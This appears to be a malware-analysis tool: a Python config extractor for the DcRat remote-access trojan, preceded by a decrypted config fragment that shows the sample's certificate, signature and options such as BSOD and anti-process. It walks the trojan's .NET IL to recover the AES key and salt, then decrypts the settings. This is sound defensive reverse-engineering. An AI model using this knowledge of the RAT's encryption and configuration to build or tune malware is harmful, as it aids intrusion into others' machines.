  "Certifi_cate": "MIICMDCCAZmgAwIBAgIVANDdhyIzFkRkVUdU1pUsWShwjeXTMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIwMTEyNzIxMjU0NVoXDTMxMDkwNjIxMjU0NVowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJAPN6hAAYtlFpprsg+awNYGXe+gvrIVoVQz2ubNjglQKceBMbhrB9fJZfXJkDLol6/a3Jd4JycS51W+zZgLbcjK8rwRyJ+AUI9TJN4ghCPvSgqXiqTzwruPo+z8B41xcddSJ8Iv49ReFpZGNfbzC4AL5U3gWj+Gq+o4Eh1TigrrAgMBAAGjMjAwMB0GA1UdDgQWBBSieJAE4Zd65wRgTOwM9yD2xjDKZjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAH+wbEwYgTSF3NRuSaLbjALT8E5lmhrkkc7l8R7dojnqZqGA6GqIR3B1aERDKeX6YY3msdmw4uK4K7qWXuWRhjn1Zbweea4YrUyTLtTu1OYJpE9z7vVTfXi7Pkl+j9187kZ8f+S+EvFo9aw2YO5jK9UTyZ8dhtQuhpC9sRSCwQ5f",
  "Server_signa_ture": "WoklUUd+SGm6e+hGmYIVMdTguE/XnNLwPxGmIOoxt2UjxnKg6OsTdNTB9cmWQ+jVcpyD/M40s29l+GdlklpBRG3mflrHprg7R+Q9GKMdUToU8MO6imLwgYm5Ft0mzcc8W5sb5cqZ4Bg8wPJ907IBJ3Gd0vUUtxJgxLqCP7AFfis=",
  "Paste_bin": "null",
  "BS_OD": "false",
  "De_lay": "1",
  "Group": "Default",
  "Anti_Process": "false",
  "An_ti": "false"
}
import sys
import os
import json
import base64
import re

from clr_loader import get_coreclr
from pythonnet import set_runtime

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1

dotnet_root = os.environ.get("DOTNET_ROOT", "/opt/homebrew/opt/dotnet/libexec")
rt = get_coreclr(dotnet_root=dotnet_root)
set_runtime(rt)

# import clr makes System available.
import clr
import System

System.Reflection.Assembly.LoadFrom(
    os.path.join(os.path.dirname(__file__), "dnlib.dll")
)

from dnlib.DotNet import ModuleDefMD


def decrypt(data_b64, key, salt):
    data = base64.b64decode(data_b64)
    dec_key = PBKDF2(key, salt, dkLen=32, count=50000, hmac_hash_module=SHA1)
    cipher = AES.new(dec_key, AES.MODE_CBC, data[32:48])
    pt = cipher.decrypt(data[48:])
    return pt[: -pt[-1]].decode("utf-8")


def get_cctor_strings(type_def):
    """IL walk: extract ldstr --> stsfld pairs from .cctor."""

    """
    $ ilspycmd -il -o dcrat.il dcrat.exe
    $ less dcrat.il
    .class public auto ansi abstract sealed beforefieldinit Client.Settings
        extends [mscorlib]System.Object
    {
        ...
        void .cctor () cil managed 
    {
        ...
        IL_0000: ldstr "Zg9VSZv/vsUnEQBzhfXpKPjYm70KkS5MxCRhZ1CLxaONi86O1tioh7cto+j8y2tHB120cTLyZ51HkueXBxsY1A=="
		IL_0005: stsfld string Client.Settings::Por_ts
		IL_000a: ldstr "7spuqcXBjdCSTbl3vuBaK8FMCIg75RONRRYTlaMK6b/cXzhviyYR/CGoPYLPme8EsZN0q7Er5FLtCE+5wGhnCW03V9p2bGNJ3uo+sagTJh0="
		IL_000f: stsfld string Client.Settings::Hos_ts
        ...
    """

    fields = {}
    for m in type_def.Methods:
        if str(m.Name) != ".cctor" or not m.HasBody:
            continue
        current = None
        for i in m.Body.Instructions:
            if str(i.OpCode) == "ldstr":
                current = str(i.Operand)
            elif str(i.OpCode) == "stsfld" and current:
                fields[str(i.Operand.Name)] = current
                current = None
    return fields


def find_salt(module):
    """Find salt string in Aes256 class .cctor."""

    """
    $ ilspycmd -il -o dcrat.il dcrat.exe
    $ less dcrat.il
    ...
    .class public auto ansi beforefieldinit Client.Algorithm.Aes256
	extends [mscorlib]System.Object
    {
    ...
    		void .cctor () cil managed 
	{
		// Method begins at RVA 0x237e
		// Header size: 1
		// Code size: 21 (0x15)
		.maxstack 8

		IL_0000: call class [mscorlib]System.Text.Encoding [mscorlib]System.Text.Encoding::get_ASCII()
		IL_0005: ldstr "DcRatByqwqdanchun"
    """

    for t in module.Types:
        if "aes" not in str(t.Name).lower():
            continue
        for m in t.Methods:
            if str(m.Name) != ".cctor" or not m.HasBody:
                continue
            for i in m.Body.Instructions:
                if str(i.OpCode) == "ldstr" and i.Operand:
                    return str(i.Operand).encode()
    return None


def main():
    module = ModuleDefMD.Load(sys.argv[1])

    settings = next((t for t in module.Types if str(t.Name) == "Settings"), None)
    if not settings:
        sys.exit("Settings class not found.")

    fields = get_cctor_strings(settings)
    key = base64.b64decode(fields.get("Key", ""))
    salt = find_salt(module)
    if not salt:
        sys.exit("Salt not found.")

    config = {}
    for name, value in fields.items():
        if name == "Key":
            continue
        if re.match(r"^[A-Za-z0-9+/]{20,}={0,2}$", value):
            try:
                config[name] = decrypt(value, key, salt)
            except Exception:
                config[name] = value
        else:
            config[name] = value

    print(json.dumps(config, indent=2))


if __name__ == "__main__":
    main()